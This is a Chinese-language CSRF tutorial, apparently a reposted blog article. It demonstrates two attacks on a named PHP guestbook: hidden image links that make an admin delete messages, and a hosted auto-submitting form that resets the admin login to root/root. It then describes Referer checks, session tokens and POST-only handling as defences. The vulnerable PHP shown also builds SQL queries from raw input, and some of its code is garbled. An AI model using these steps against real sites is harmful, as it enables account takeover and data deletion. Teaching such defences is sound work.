CSRF(Cross Site Request Forgeries),意為跨網站請求偽造,也有寫為XSRF。攻擊者偽造目標使用者的HTTP請求,然後此請求傳送到有CSRF漏洞的網站,網站執行此請 求後,引發跨站請求偽造攻擊。攻擊者利用隱蔽的HTTP連線,讓目標使用者在不注意的情況下單擊這個連結,由於是使用者自己點選的,而他又是合法使用者擁有合法 許可權,所以目標使用者能夠在網站內執行特定的HTTP連結,從而達到攻擊者的目的。
例如:某個購物網站購買商品時,採用http://www.shop.com/buy.php?i…,item引數確定要購買什麼物品,num引數確定要購買數量,如果攻擊者以隱藏的方式傳送給目標使用者連結,那麼如果目標使用者不小心訪問以後,購買的數量就成了1000個
例項
隨緣網路PHP留言板V1.0
任意刪除留言
//delbook.php 此頁面用於刪除留言
include_once(“dlyz.php”); //dlyz.php使用者驗證許可權,當許可權是admin的時候方可刪除留言
include_once(“../conn.php”);
$del=$_GET[“del”];
$id=$_GET[“id”];
if ($del==”data”)
{
$ID_Dele= implode(“,”,$_POST[‘adid’]);
$sql=”delete from book where id in (“.$ID_Dele.”)”;
mysql_query($sql);
}
else
{
$sql=”delete from book where id=”.$id; //傳遞要刪除的留言ID
mysql_query($sql);
}
mysql_close($conn);
echo “”;
echo “alert(‘刪除成功!’);”;
echo ” location=’book.php’;”;
echo “”;
?>
當我們具有admin許可權,提交http://localhost/manage/delbo… 時,就會刪除id為2的留言
<iframe allowfullscreen=”true” allowtransparency=”true” frameborder=”0″ height=”60″ hspace=”0″ id=”aswift_1″ marginheight=”0″ marginwidth=”0″ name=”aswift_1″ scrolling=”no” style=”margin: 0px; padding: 0px; border-width: 0px; vertical-align: baseline; left: 0px; position: absolute; top: 0px;” vspace=”0″ width=”468″></iframe>利用方法:
我們使用普通使用者留言(原始碼方式),內容為
“delbook.php?id=2” />
“delbook.php?id=3” />
“delbook.php?id=4” />
“delbook.php?id=5” />
插入4張圖片連結分別刪除4個id留言,然後我們返回首頁瀏覽看,沒有什麼變化。。圖片顯示不了
現在我們再用管理員賬號登陸後,來重新整理首頁,會發現留言就剩一條,其他在圖片連結中指定的ID號的留言,全部都被刪除。
攻擊者在留言中插入隱藏的圖片連結,此連結具有刪除留言的作用,而攻擊者自己訪問這些圖片連結的時候,是不具有許可權的,所以看不到任何效果,但是當管理員登陸後,檢視此留言,就會執行隱藏的連結,而他的許可權又是足夠大的,從而這些留言就被刪除了
修改管理員密碼
//pass.php
if($_GET[“act”])
{
$username=$_POST[“username”];
$sh=$_POST[“sh”];
$gg=$_POST[“gg”];
$title=$_POST[“title”];
$copyright=$_POST[“copyright”].”
設計製作:黑客契約安全網”;
$password=md5($_POST[“password”]);
if(emptyempty($_POST[“password”]))
{
$sql=”update gly set username=’”.$username.”’,sh=”.$sh.”,gg=’”.$gg.”’,title=’”.$title.”’,copyright=’”.$copyright.”’ where id=1″;
}
else
{
$sql=”update gly set username=’”.$username.”’,password=’”.$password.”’,sh=”.$sh.”,gg=’”.$gg.”’,title=’”.$title.”’,copyright=’”.$copyright.”’ where id=1″;
}
mysql_query($sql);
mysql_close($conn);
echo “”;
echo “alert(‘修改成功!’);”;
echo ” location=’pass.php’;”;
echo “”;
}
這個檔案用於修改管理密碼和網站設定的一些資訊,我們可以直接構造如下表單:
<body>
<form action=”http://localhost/manage/pass….” method=”post” name=”form1″ id=”form1″>
<input type=”radio” value=”1″ name=”sh”>
<input type=”radio” name=”sh” checked value=”0″>
<input type=”text” name=”username” value=”root”>
<input type=”password” name=”password” value=”root”>
<input type=”text” name=”title” value=”隨緣網路PHP留言板V1.0(帶稽核功能)” >
<textarea name=”gg” rows=”6″ cols=”80″ >歡迎您安裝使用隨緣網路PHP留言板V1.0(帶稽核功能)!textarea>
<textarea name=”copyright” rows=”6″ cols=”80″ >隨緣網路PHP留言本V1.0 版權所有:廈門隨緣網路科技 2005-2009<br/>承接網站建設及系統定製 提供優惠主機域名textarea>
form>
body>
存為attack.html,放到自己網站上http://www.sectop.com/attack….,此頁面訪問後會自動向目標程式的pass.php提交引數,使用者名稱修改為root,密碼修改為root,然後我們去留言板發一條留言,隱藏這個連結,管理訪問以後,他的使用者名稱和密碼全部修改成了root
防範方法
防範CSRF要比防範其他攻擊更加困難,因為CSRF的HTTP請求雖然是攻擊者偽造的,但是卻是由目標使用者發出的,一般常見的防範方法有下面幾種:
**1、檢查網頁的來源
2、檢查內建的隱藏變數
3、使用POST,不要使用GET**
檢查網頁來源
在//pass.php頭部加入以下紅色字型程式碼,驗證資料提交
if($_GET[“act”])
{
if(isset($_SERVER[“HTTP_REFERER”]))
{
$serverhost = $_SERVER[“SERVER_NAME”];
$strurl = str_replace(“http://”,””,$_SERVER[“HTTP_REFERER”]);
$strdomain = explode(“/”,$strurl);
$sourcehost = $strdomain[0];
if(strncmp($sourcehost, $serverhost, strlen($serverhost)))
{
unset($_POST);
echo “”;
echo “alert(‘資料來源異常!’);”;
echo ” location=’index.php’;”;
echo “”;
}
}
$username=$_POST[“username”];
$sh=$_POST[“sh”];
$gg=$_POST[“gg”];
$title=$_POST[“title”];
$copyright=$_POST[“copyright”].”
$password=md5($_POST[“password”]);
if(emptyempty($_POST[“password”]))
{
$sql=”update gly set username=’”.$username.”’,sh=”.$sh.”,gg=’”.$gg.”’,title=’”.$title.”’,copyright=’”.$copyright.”’ where id=1″;
}
else
{
$sql=”update gly set username=’”.$username.”’,password=’”.$password.”’,sh=”.$sh.”,gg=’”.$gg.”’,title=’”.$title.”’,copyright=’”.$copyright.”’ where id=1″;
}
mysql_query($sql);
mysql_close($conn);
echo “”;
echo “alert(‘修改成功!’);”;
echo ” location=’pass.php’;”;
echo “”;
}
檢查內建隱藏變數
我們在表單中內建一個隱藏變數和一個session變數,然後檢查這個隱藏變數和session變數是否相等,以此來判斷是否同一個網頁所呼叫
php
include_once(“dlyz.php”);include_once(“../conn.php”);if($_GET[“act”]){if (!isset($_SESSION[“post_id”])){// 生成唯一的ID,並使用MD5來加密$post_id = md5(uniqid(rand(), true));// 建立Session變數$_SESSION[“post_id”] = $post_id;}// 檢查是否相等if (isset($_SESSION[“post_id”])){// 不相等if ($_SESSION[“post_id”] != $_POST[“post_id”]){// 清除POST變數unset($_POST);echo “<script language=’javascript’>”;echo “alert(‘資料來源異常!’);”;echo ” location=’index.php’;”;echo “script>”;}}……<input type=”reset” name=”Submit2″ value=”重 置”><input type=”hidden” name=”post_id” value=”php echo $_SESSION[“post_id”];?>”>td>tr>table>form>php}mysql_close($conn);?></body>
</html>
**使用POST,不要使用GET
傳遞表單欄位時,一定要是用POST,不要使用GET,處理變數也不要直接使用$_REQUEST**
CSRF攻擊是什麼並且如何防止
相關文章
- 什麼是CSRF攻擊?如何防禦CSRF攻擊?
- 什麼是CSRF攻擊?
- WEB安全入門:如何防止 CSRF 攻擊?Web
- 前端實現csrf防止攻擊前端
- 前端安全系列之二:如何防止CSRF攻擊?前端
- CSRF攻擊是什麼?防範手段有哪些?
- XSS攻擊和CSRF攻擊有什麼區別?
- DDoS攻擊是什麼?是如何進行攻擊的?
- XXE攻擊攻擊原理是什麼?如何防禦XXE攻擊?
- XSS 與 CSRF 攻擊——有什麼區別?
- 什麼是SSRF攻擊?如何防禦SSRF攻擊?
- 什麼是DDoS攻擊?如何防範DDoS攻擊?
- CSRF 攻擊
- CSRF攻擊
- 如何防止XSS攻擊
- XXE攻擊是什麼?如何有效防禦XXE攻擊?
- 什麼是DOS攻擊?DOS攻擊常見形式是什麼?
- cc攻擊是什麼?如何防護
- CC攻擊的原理是什麼?如何防禦CC攻擊?
- DDoS攻擊的危害是什麼?如何防禦DDoS攻擊?
- 零日攻擊是什麼?如何防範零日攻擊?
- 【網路安全入門】CSRF攻擊是什麼?它的危害有哪些?
- 網站如何防止攻擊網站
- 什麼是DDoS攻擊?DDOS攻擊的表現形式是什麼?
- 什麼是APT攻擊?APT攻擊有什麼主要特徵?APT特徵
- 什麼是 DoS 攻擊?
- 什麼是DDOS攻擊?
- Cilium是如何防止常規網路攻擊的?
- 為什麼必須防止供應鏈攻擊?
- 什麼是CC攻擊?如何有效防護?
- 什麼是CC攻擊?與DDoS攻擊有什麼區別?
- 什麼是DDoS攻擊?與CC攻擊有什麼聯絡?
- 什麼是SSRF攻擊?SSRF用途是什麼?
- csrf攻擊例項
- 什麼是Syn Flood攻擊?Syn Flood洪水攻擊應對方法是什麼?
- CC攻擊原理是什麼?網站被CC攻擊如何防禦?網站
- Syn Flood攻擊的危害是什麼?Syn Flood攻擊如何應對?
- 什麼是CC攻擊?網站被CC攻擊該如何防禦?網站